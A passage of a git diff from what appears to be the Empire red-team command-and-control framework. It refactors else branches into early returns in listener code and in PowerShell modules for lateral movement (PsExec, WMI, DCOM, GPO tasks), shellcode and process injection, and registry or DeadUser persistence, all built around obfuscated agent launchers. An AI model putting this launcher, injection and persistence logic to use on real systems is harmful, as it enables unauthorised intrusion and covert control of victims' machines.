else: - # otherwise return the standard stager - return stager + # otherwise return the standard stager + return stager - else: - log.error( - "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." - ) - return None + log.error( + "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." + ) + return None def generate_agent( self, @@ -341,7 +334,7 @@ def generate_agent( ) return None - elif language == "python": + if language == "python": with open( self.mainMenu.installPath + "/data/agent/ironpython_agent.py" ) as f: @@ -368,11 +361,11 @@ def generate_agent( code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) return code - else: - log.error( - "Invalid language specification, only 'ironpython' is current supported for this module." - ) - return None + + log.error( + "Invalid language specification, only 'ironpython' is current supported for this module." + ) + return None def generate_comms(self, listenerOptions, language=None): """ @@ -387,37 +380,36 @@ def generate_comms(self, listenerOptions, language=None): pipe_name = listenerOptions["PipeName"]["Value"] - if language: - if language.lower() == "powershell": - log.error( - "Invalid language specification, only 'ironpython' is current supported for this module." - ) - return None - - elif language.lower() == "python": - template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), - ] - eng = templating.TemplateEngine(template_path) - template = eng.get_template("smb/comms.py") - - template_options = { - "host": host, - "pipe_name": pipe_name, - } - - return template.render(template_options) - - else: - log.error( - "Invalid language specification, only 'ironpython' is current supported for this module." - ) - return None - else: + if not language: log.error("generate_comms(): no language specified!") return None + if language.lower() == "powershell": + log.error( + "Invalid language specification, only 'ironpython' is current supported for this module." + ) + return None + + if language.lower() == "python": + template_path = [ + os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), + os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + ] + eng = templating.TemplateEngine(template_path) + template = eng.get_template("smb/comms.py") + + template_options = { + "host": host, + "pipe_name": pipe_name, + } + + return template.render(template_options) + + log.error( + "Invalid language specification, only 'ironpython' is current supported for this module." + ) + return None + def start(self): """ If a server component needs to be started, implement the kick off logic @@ -450,37 +442,35 @@ def start(self): db, parent_listener_name ) - if self.parent_listener: - if self.parent_listener.module in ["http", "smb"]: - self.options = copy.deepcopy(self.parent_listener.options) - self.options["Name"]["Value"] = name - self.options["Agent"] = tempOptions["Agent"] - self.options["PipeName"] = tempOptions["PipeName"] - - # If default response exists on a parent then use it, else grab it from the primary listener - active_listener = ( - self.mainMenu.listenersv2.get_active_listener_by_name( - self.parent_listener.name - ) - ) - try: - self.b64DefaultResponse = active_listener.b64DefaultResponse - except AttributeError: - self.b64DefaultResponse = base64.b64encode( - self.mainMenu.listenersv2.get_active_listener_by_name( - self.parent_listener.name - ) - .default_response() - .encode("UTF-8") - ) - return True - else: - log.error("Parent listener must be a http listener") - return False - else: + if not self.parent_listener: log.error("Parent listener not found") return False + if self.parent_listener.module not in ["http", "smb"]: + log.error("Parent listener must be a http listener") + return False + + self.options = copy.deepcopy(self.parent_listener.options) + self.options["Name"]["Value"] = name + self.options["Agent"] = tempOptions["Agent"] + self.options["PipeName"] = tempOptions["PipeName"] + + # If default response exists on a parent then use it, else grab it from the primary listener + active_listener = self.mainMenu.listenersv2.get_active_listener_by_name( + self.parent_listener.name + ) + try: + self.b64DefaultResponse = active_listener.b64DefaultResponse + except AttributeError: + self.b64DefaultResponse = base64.b64encode( + self.mainMenu.listenersv2.get_active_listener_by_name( + self.parent_listener.name + ) + .default_response() + .encode("UTF-8") + ) + return True + except Exception: return False diff --git a/empire/server/listeners/template.py b/empire/server/listeners/template.py index f5ec07e02..046d73579 100644 --- a/empire/server/listeners/template.py +++ b/empire/server/listeners/template.py @@ -210,13 +210,12 @@ def generate_launcher( # Python return "" - else: - print( - helpers.color( - "[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." - ) + print( + helpers.color( + "[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." ) - return None + ) + return None def generate_stager( self, @@ -258,58 +257,57 @@ def generate_comms(self, listenerOptions, language=None): This should be implemented for the module. """ - if language: - if language.lower() == "powershell": - updateServers = """ - $Script:ControlServers = @("{}"); - $Script:ServerIndex = 0; - """.format( - listenerOptions["Host"]["Value"] + if not language: + print( + helpers.color( + "[!] listeners/template generate_comms(): no language specified!" ) + ) + return None - getTask = """ - $script:GetTask = { + if language.lower() == "powershell": + updateServers = """ + $Script:ControlServers = @("{}"); + $Script:ServerIndex = 0; + """.format( + listenerOptions["Host"]["Value"] + ) + getTask = """ + $script:GetTask = { - } - """ - sendMessage = """ - $script:SendMessage = { - param($Packets) + } + """ - if($Packets) { + sendMessage = """ + $script:SendMessage = { + param($Packets) - } - } - """ + if($Packets) { - return ( - updateServers - + getTask - + sendMessage - + "\n'New agent comms registered!'" - ) + } + } + """ - elif language.lower() == "python": - # send_message() - pass - return None - else: - print( - helpers.color( - "[!] listeners/template generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module." - ) - ) - return None - else: - print( - helpers.color( - "[!] listeners/template generate_comms(): no language specified!" - ) + return ( + updateServers + + getTask + + sendMessage + + "\n'New agent comms registered!'" ) + + if language.lower() == "python": + # send_message() return None + print( + helpers.color( + "[!] listeners/template generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module." + ) + ) + return None + def start_server(self): pass diff --git a/empire/server/modules/powershell/code_execution/invoke_ntsd.py b/empire/server/modules/powershell/code_execution/invoke_ntsd.py index 8fc09d233..20bc12b40 100644 --- a/empire/server/modules/powershell/code_execution/invoke_ntsd.py +++ b/empire/server/modules/powershell/code_execution/invoke_ntsd.py @@ -52,47 +52,47 @@ def generate( if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message(f"[!] Invalid listener: {listener_name}") - else: - multi_launcher = main_menu.stagertemplatesv2.new_instance("multi_launcher") - multi_launcher.options["Listener"] = params["Listener"] - multi_launcher.options["UserAgent"] = params["UserAgent"] - multi_launcher.options["Proxy"] = params["Proxy"] - multi_launcher.options["ProxyCreds"] = params["ProxyCreds"] - multi_launcher.options["Obfuscate"] = params["Obfuscate"] - multi_launcher.options["ObfuscateCommand"] = params["ObfuscateCommand"] - multi_launcher.options["Bypasses"] = params["Bypasses"] - launcher = multi_launcher.generate() - if launcher == "": - return handle_error_message("[!] Error in launcher generation.") - else: - launcher = launcher.split(" ")[-1] + multi_launcher = main_menu.stagertemplatesv2.new_instance("multi_launcher") + multi_launcher.options["Listener"] = params["Listener"] + multi_launcher.options["UserAgent"] = params["UserAgent"] + multi_launcher.options["Proxy"] = params["Proxy"] + multi_launcher.options["ProxyCreds"] = params["ProxyCreds"] + multi_launcher.options["Obfuscate"] = params["Obfuscate"] + multi_launcher.options["ObfuscateCommand"] = params["ObfuscateCommand"] + multi_launcher.options["Bypasses"] = params["Bypasses"] + launcher = multi_launcher.generate() - with open(ntsd_exe, "rb") as bin_data: - ntsd_exe_data = bin_data.read() + if launcher == "": + return handle_error_message("[!] Error in launcher generation.") - with open(ntsd_dll, "rb") as bin_data: - ntsd_dll_data = bin_data.read() + launcher = launcher.split(" ")[-1] - exec_write = f'Write-Ini {upload_path} "{launcher}"' - code_exec = f"{upload_path}\\ntsd.exe -cf {upload_path}\\ntsd.ini {bin}" - ntsd_exe_upload = main_menu.stagers.generate_upload( - ntsd_exe_data, ntsd_exe_upload_path - ) - ntsd_dll_upload = main_menu.stagers.generate_upload( - ntsd_dll_data, ntsd_dll_upload_path - ) + with open(ntsd_exe, "rb") as bin_data: + ntsd_exe_data = bin_data.read() - script_end += "\r\n" - script_end += ntsd_exe_upload - script_end += ntsd_dll_upload - script_end += "\r\n" - script_end += exec_write - script_end += "\r\n" - # this is to make sure everything was uploaded properly - script_end += "Start-Sleep -s 5" - script_end += "\r\n" - script_end += code_exec + with open(ntsd_dll, "rb") as bin_data: + ntsd_dll_data = bin_data.read() + + exec_write = f'Write-Ini {upload_path} "{launcher}"' + code_exec = f"{upload_path}\\ntsd.exe -cf {upload_path}\\ntsd.ini {bin}" + ntsd_exe_upload = main_menu.stagers.generate_upload( + ntsd_exe_data, ntsd_exe_upload_path + ) + ntsd_dll_upload = main_menu.stagers.generate_upload( + ntsd_dll_data, ntsd_dll_upload_path + ) + + script_end += "\r\n" + script_end += ntsd_exe_upload + script_end += ntsd_dll_upload + script_end += "\r\n" + script_end += exec_write + script_end += "\r\n" + # this is to make sure everything was uploaded properly + script_end += "Start-Sleep -s 5" + script_end += "\r\n" + script_end += code_exec return main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/lateral_movement/inveigh_relay.py b/empire/server/modules/powershell/lateral_movement/inveigh_relay.py index d8a54beee..c7fdb0b2e 100644 --- a/empire/server/modules/powershell/lateral_movement/inveigh_relay.py +++ b/empire/server/modules/powershell/lateral_movement/inveigh_relay.py @@ -36,23 +36,22 @@ def generate( # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) - else: - # generate the PowerShell one-liner with all of the proper options set - command = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - encode=True, - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - userAgent=user_agent, - proxy=proxy, - proxyCreds=proxyCreds, - bypasses=params["Bypasses"], - ) + # generate the PowerShell one-liner with all of the proper options set + command = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + encode=True, + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxyCreds, + bypasses=params["Bypasses"], + ) - # check if launcher errored out. If so return nothing - if command == "": - return handle_error_message("[!] Error in launcher generation.") + # check if launcher errored out. If so return nothing + if command == "": + return handle_error_message("[!] Error in launcher generation.") # set defaults for Empire script_end = "\n" + f'Invoke-InveighRelay -Tool "2" -Command \\"{command}\\"' diff --git a/empire/server/modules/powershell/lateral_movement/invoke_dcom.py b/empire/server/modules/powershell/lateral_movement/invoke_dcom.py index ed319c06c..3b6c9959c 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_dcom.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_dcom.py @@ -50,7 +50,7 @@ def generate( # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) - elif listener_name: + if listener_name: # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagers.generate_launcher( listenerName=listener_name, @@ -66,11 +66,11 @@ def generate( if launcher == "": return handle_error_message("[!] Error in launcher generation.") - else: - Cmd = ( - "%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\" - + launcher - ) + + Cmd = ( + "%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\" + + launcher + ) else: Cmd = "%COMSPEC% /C start /b " + command.replace('"', '\\"') diff --git a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py index a7d0fd383..b8997e9ef 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py @@ -62,7 +62,8 @@ def generate( ): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) - elif listener_name: + + if listener_name: # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagers.generate_launcher( listenerName=listener_name, @@ -77,9 +78,9 @@ def generate( ) if launcher == "": return handle_error_message("[!] Error in launcher generation.") - else: - launcher = launcher.replace("$", "`$") - script = script.replace("LAUNCHER", launcher) + + launcher = launcher.replace("$", "`$") + script = script.replace("LAUNCHER", launcher) else: Cmd = command.replace('"', '`"').replace("$", "`$") script = script.replace("LAUNCHER", Cmd) diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psexec.py b/empire/server/modules/powershell/lateral_movement/invoke_psexec.py index 4b5a5ec9d..4cf0645f7 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_psexec.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_psexec.py @@ -64,12 +64,12 @@ def generate( if launcher == "": return handle_error_message("[!] Error in launcher generation.") - else: - stager_cmd = ( - "%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\" - + launcher - ) - script_end += f'Invoke-PsExec -ComputerName {computer_name} -ServiceName "{service_name}" -Command "{stager_cmd}"' + + stager_cmd = ( + "%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\" + + launcher + ) + script_end += f'Invoke-PsExec -ComputerName {computer_name} -ServiceName "{service_name}" -Command "{stager_cmd}"' outputf = params.get("OutputFunction", "Out-String") script_end += ( diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py index e9aeeff51..a3ecec096 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py @@ -51,7 +51,7 @@ def generate( # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) - elif listener_name: + if listener_name: # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagers.generate_launcher( listenerName=listener_name, diff --git a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py index 082bb2551..6a5923288 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py @@ -51,7 +51,7 @@ def generate( # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) - elif listener_name: + if listener_name: # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagers.generate_launcher( listenerName=listener_name, diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py index 235788598..0d7a5f73a 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py @@ -53,24 +53,22 @@ def generate( if command == "": if not main_menu.listenersv2.get_active_listener_by_name(listener_name): return handle_error_message("[!] Invalid listener: " + listener_name) - else: - launcher = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - encode=True, - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - userAgent=userAgent, - proxy=proxy, - proxyCreds=proxy_creds, - bypasses=params["Bypasses"], - ) - if launcher == "": - return handle_error_message("[!] Error generating launcher") - else: - command = ( - "C:\\Windows\\System32\\WindowsPowershell\\v1.0\\" + launcher - ) + + launcher = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + encode=True, + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + userAgent=userAgent, + proxy=proxy, + proxyCreds=proxy_creds, + bypasses=params["Bypasses"], + ) + if launcher == "": + return handle_error_message("[!] Error generating launcher") + + command = "C:\\Windows\\System32\\WindowsPowershell\\v1.0\\" + launcher script_end = f'Invoke-SQLOSCmd -Instance "{instance}" -Command "{command}"' diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi.py b/empire/server/modules/powershell/lateral_movement/invoke_wmi.py index 09a9c8426..96a2f6107 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_wmi.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi.py @@ -55,7 +55,7 @@ def generate( # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) - elif listener_name: + if listener_name: # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagers.generate_launcher( listenerName=listener_name, @@ -71,10 +71,8 @@ def generate( if launcher == "": return handle_error_message("[!] Error generating launcher") - else: - stagerCode = ( - "C:\\Windows\\System32\\WindowsPowershell\\v1.0\\" + launcher - ) + + stagerCode = "C:\\Windows\\System32\\WindowsPowershell\\v1.0\\" + launcher else: Cmd = command.replace('"', '`"').replace("$", "`$") diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py index 1c3782957..5dcc73495 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py @@ -61,19 +61,18 @@ def generate( # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) - else: - # generate the PowerShell one-liner with all of the proper options set - launcher = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - encode=True, - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - bypasses=params["Bypasses"], - ) - - encScript = launcher.split(" ")[-1] - # statusMsg += "using listener " + listenerName + # generate the PowerShell one-liner with all of the proper options set + launcher = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + encode=True, + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + bypasses=params["Bypasses"], + ) + + encScript = launcher.split(" ")[-1] + # statusMsg += "using listener " + listenerName path = "\\".join(reg_path.split("\\")[0:-1]) name = reg_path.split("\\")[-1] diff --git a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py index a29f99b4d..837268918 100644 --- a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py +++ b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py @@ -36,9 +36,9 @@ def generate( if launcher == "": return handle_error_message("[!] Error in launcher command generation.") - else: - # Cmd = launcher - print(helpers.color("Agent Launcher code: " + launcher)) + + # Cmd = launcher + print(helpers.color("Agent Launcher code: " + launcher)) # read in the common module source code script, err = main_menu.modulesv2.get_module_source( diff --git a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py index 989a8e0bf..de4075a57 100644 --- a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py +++ b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py @@ -26,74 +26,69 @@ def generate( # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) - else: - # generate the PowerShell one-liner with all of the proper options set - launcher = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - encode=True, - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - userAgent=user_agent, - proxy=proxy, - proxyCreds=proxy_creds, - bypasses=params["Bypasses"], - ) + # generate the PowerShell one-liner with all of the proper options set + launcher = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + encode=True, + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + bypasses=params["Bypasses"], + ) - command = '/c "' + launcher + '"' + command = '/c "' + launcher + '"' - if command == "": - return handle_error_message("[!] Error processing command") + if command == "": + return handle_error_message("[!] Error processing command") - else: - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) + # read in the common module source code + script, err = main_menu.modulesv2.get_module_source( + module_name=module.script_path, + obfuscate=obfuscate, + obfuscate_command=obfuscation_command, + ) - if err: - return handle_error_message(err) + if err: + return handle_error_message(err) - # get just the code needed for the specified function - script = helpers.generate_dynamic_powershell_script(script, module_name) + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(script, module_name) - script += ( - module_name - + " -Command cmd -CommandArguments '" - + command - + "' -Force" - ) + script += ( + module_name + " -Command cmd -CommandArguments '" + command + "' -Force" + ) - for option, values in params.items(): - if ( - option.lower() - in [ - "taskname", - "taskdescription", - "taskauthor", - "gponame", - "gpodisplayname", - "domain", - "domaincontroller", - ] - and values - and values != "" - ): - if values.lower() == "true": - # if we're just adding a switch - script += " -" + str(option) - else: - script += " -" + str(option) + " '" + str(values) + "'" + for option, values in params.items(): + if ( + option.lower() + in [ + "taskname", + "taskdescription", + "taskauthor", + "gponame", + "gpodisplayname", + "domain", + "domaincontroller", + ] + and values + and values != "" + ): + if values.lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " '" + str(values) + "'" - outputf = params.get("OutputFunction", "Out-String") - script += ( - f" | {outputf} | " - + '%{$_ + "`n"};"`n' - + str(module.name.split("/")[-1]) - + ' completed!"' - ) + outputf = params.get("OutputFunction", "Out-String") + script += ( + f" | {outputf} | " + + '%{$_ + "`n"};"`n' + + str(module.name.split("/")[-1]) + + ' completed!"' + ) return main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/management/psinject.py b/empire/server/modules/powershell/management/psinject.py index a06463958..c69f28d65 100644 --- a/empire/server/modules/powershell/management/psinject.py +++ b/empire/server/modules/powershell/management/psinject.py @@ -41,33 +41,33 @@ def generate( if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message(f"[!] Invalid listener: {listener_name}") + + # generate the PowerShell one-liner with all of the proper options set + launcher = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + encode=True, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + bypasses=params["Bypasses"], + ) + MAX_LAUNCHER_LEN = 5952 + if launcher == "": + return handle_error_message("[!] Error in launcher generation.") + if len(launcher) > MAX_LAUNCHER_LEN: + return handle_error_message("[!] Launcher string is too long!") + + launcher_code = launcher.split(" ")[-1] + + if proc_id != "": + script_end += f"Invoke-PSInject -ProcID {proc_id} -PoshCode {launcher_code}" else: - # generate the PowerShell one-liner with all of the proper options set - launcher = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - encode=True, - userAgent=user_agent, - proxy=proxy, - proxyCreds=proxy_creds, - bypasses=params["Bypasses"], + script_end += ( + f"Invoke-PSInject -ProcName {proc_name} -PoshCode {launcher_code}" ) - MAX_LAUNCHER_LEN = 5952 - if launcher == "": - return handle_error_message("[!] Error in launcher generation.") - elif len(launcher) > MAX_LAUNCHER_LEN: - return handle_error_message("[!] Launcher string is too long!") - else: - launcher_code = launcher.split(" ")[-1] - - if proc_id != "": - script_end += ( - f"Invoke-PSInject -ProcID {proc_id} -PoshCode {launcher_code}" - ) - else: - script_end += f"Invoke-PSInject -ProcName {proc_name} -PoshCode {launcher_code}" return main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/management/reflective_inject.py b/empire/server/modules/powershell/management/reflective_inject.py index 956c517ea..7b222712d 100644 --- a/empire/server/modules/powershell/management/reflective_inject.py +++ b/empire/server/modules/powershell/management/reflective_inject.py @@ -51,39 +51,39 @@ def rand_text_alphanumeric( if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message(f"[!] Invalid listener: {listener_name}") - else: - # generate the PowerShell one-liner with all of the proper options set - launcher = main_menu.stagers.generate_launcher( - listener_name, - language="powershell", - encode=True, - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - userAgent=user_agent, - proxy=proxy, - proxyCreds=proxy_creds, - bypasses=params["Bypasses"], - ) - - if launcher == "": - return handle_error_message("[!] Error in launcher generation.") - else: - launcher_code = launcher.split(" ")[-1] - - script_end += f"Invoke-ReflectivePEInjection -PEPath {full_upload_path} -ProcName {proc_name} " - dll = main_menu.stagers.generate_dll(launcher_code, arch) - upload_script = main_menu.stagers.generate_upload(dll, full_upload_path) - - script += "\r\n" - script += upload_script - script += "\r\n" - - script_end += "\r\n" - script_end += f"Remove-Item -Path {full_upload_path}" - - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + + # generate the PowerShell one-liner with all of the proper options set + launcher = main_menu.stagers.generate_launcher( + listener_name, + language="powershell", + encode=True, + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + bypasses=params["Bypasses"], + ) + + if launcher == "": + return handle_error_message("[!] Error in launcher generation.") + + launcher_code = launcher.split(" ")[-1] + + script_end += f"Invoke-ReflectivePEInjection -PEPath {full_upload_path} -ProcName {proc_name} " + dll = main_menu.stagers.generate_dll(launcher_code, arch) + upload_script = main_menu.stagers.generate_upload(dll, full_upload_path) + + script += "\r\n" + script += upload_script + script += "\r\n" + + script_end += "\r\n" + script_end += f"Remove-Item -Path {full_upload_path}" + + return main_menu.modulesv2.finalize_module( + script=script, + script_end=script_end, + obfuscate=obfuscate, + obfuscation_command=obfuscation_command, + ) diff --git a/empire/server/modules/powershell/management/shinject.py b/empire/server/modules/powershell/management/shinject.py index cd2b470a2..51080faae 100644 --- a/empire/server/modules/powershell/management/shinject.py +++ b/empire/server/modules/powershell/management/shinject.py @@ -34,28 +34,26 @@ def generate( if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message(f"[!] Invalid listener: {listener_name}") - else: - # generate the PowerShell one-liner with all of the proper options set - launcher = main_menu.stagers.generate_launcher( - listener_name, - language="powershell", - encode=True, - userAgent=user_agent, - proxy=proxy, - proxyCreds=proxy_creds, - ) - if launcher == "": - return handle_error_message("[!] Error in launcher generation.") - else: - launcher_code = launcher.split(" ")[-1] - sc, err = main_menu.stagers.generate_powershell_shellcode( - launcher_code, arch - ) - if err: - return handle_error_message(err) + # generate the PowerShell one-liner with all of the proper options set + launcher = main_menu.stagers.generate_launcher( + listener_name, + language="powershell", + encode=True, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + ) + + if launcher == "": + return handle_error_message("[!] Error in launcher generation.") + + launcher_code = launcher.split(" ")[-1] + sc, err = main_menu.stagers.generate_powershell_shellcode(launcher_code, arch) + if err: + return handle_error_message(err) - encoded_sc = helpers.encode_base64(sc) + encoded_sc = helpers.encode_base64(sc) script_end = f'\nInvoke-Shellcode -ProcessID {proc_id} -Shellcode $([Convert]::FromBase64String("{encoded_sc}")) -Force' script_end += f"; shellcode injected into pid {proc_id!s}" diff --git a/empire/server/modules/powershell/management/spawn.py b/empire/server/modules/powershell/management/spawn.py index 04479b0e3..e4065868e 100644 --- a/empire/server/modules/powershell/management/spawn.py +++ b/empire/server/modules/powershell/management/spawn.py @@ -47,23 +47,23 @@ def generate( if launcher == "": return handle_error_message("[!] Error in launcher command generation.") + + # transform the backdoor into something launched by powershell.exe + # so it survives the agent exiting + if sys_wow64.lower() == "true": + stager_code = ( + "$Env:SystemRoot\\SysWow64\\WindowsPowershell\\v1.0\\" + launcher + ) else: - # transform the backdoor into something launched by powershell.exe - # so it survives the agent exiting - if sys_wow64.lower() == "true": - stager_code = ( - "$Env:SystemRoot\\SysWow64\\WindowsPowershell\\v1.0\\" + launcher - ) - else: - stager_code = ( - "$Env:SystemRoot\\System32\\WindowsPowershell\\v1.0\\" + launcher - ) + stager_code = ( + "$Env:SystemRoot\\System32\\WindowsPowershell\\v1.0\\" + launcher + ) - parts = stager_code.split(" ") + parts = stager_code.split(" ") - script = "Start-Process -NoNewWindow -FilePath \"{}\" -ArgumentList '{}'; 'Agent spawned to {}'".format( - parts[0], " ".join(parts[1:]), listener_name - ) + script = "Start-Process -NoNewWindow -FilePath \"{}\" -ArgumentList '{}'; 'Agent spawned to {}'".format( + parts[0], " ".join(parts[1:]), listener_name + ) return main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/persistence/misc/debugger.py b/empire/server/modules/powershell/persistence/misc/debugger.py index 693fb83ec..fbb063096 100644 --- a/empire/server/modules/powershell/persistence/misc/debugger.py +++ b/empire/server/modules/powershell/persistence/misc/debugger.py @@ -45,18 +45,17 @@ def generate( # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) - else: - # generate the PowerShell one-liner - launcher = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - bypasses=params["Bypasses"], - ) - - enc_script = launcher.split(" ")[-1] - # statusMsg += "using listener " + listenerName + # generate the PowerShell one-liner + launcher = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + bypasses=params["Bypasses"], + ) + + enc_script = launcher.split(" ")[-1] + # statusMsg += "using listener " + listenerName path = "\\".join(reg_path.split("\\")[0:-1]) name = reg_path.split("\\")[-1] diff --git a/empire/server/modules/powershell/persistence/powerbreach/deaduser.py b/empire/server/modules/powershell/persistence/powerbreach/deaduser.py index 740b14556..39c53f2ef 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/deaduser.py +++ b/empire/server/modules/powershell/persistence/powerbreach/deaduser.py @@ -78,19 +78,18 @@ def generate( # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) - else: - # set the listener value for the launcher - stager = main_menu.stagertemplatesv2.new_instance("multi_launcher") - stager.options["Listener"] = listener_name - stager.options["Base64"] = "False" - - # and generate the code - stager_code = stager.generate() - - if stager_code == "": - return handle_error_message("[!] Error creating stager") - else: - script = script.replace("REPLACE_LAUNCHER", stager_code) + # set the listener value for the launcher + stager = main_menu.stagertemplatesv2.new_instance("multi_launcher") + stager.options["Listener"] = listener_name + stager.options["Base64"] = "False" + + # and generate the code + stager_code = stager.generate() + + if stager_code == "": + return handle_error_message("[!] Error creating stager") + + script = script.replace("REPLACE_LAUNCHER", stager_code) for option, values in params.items(): if ( diff --git 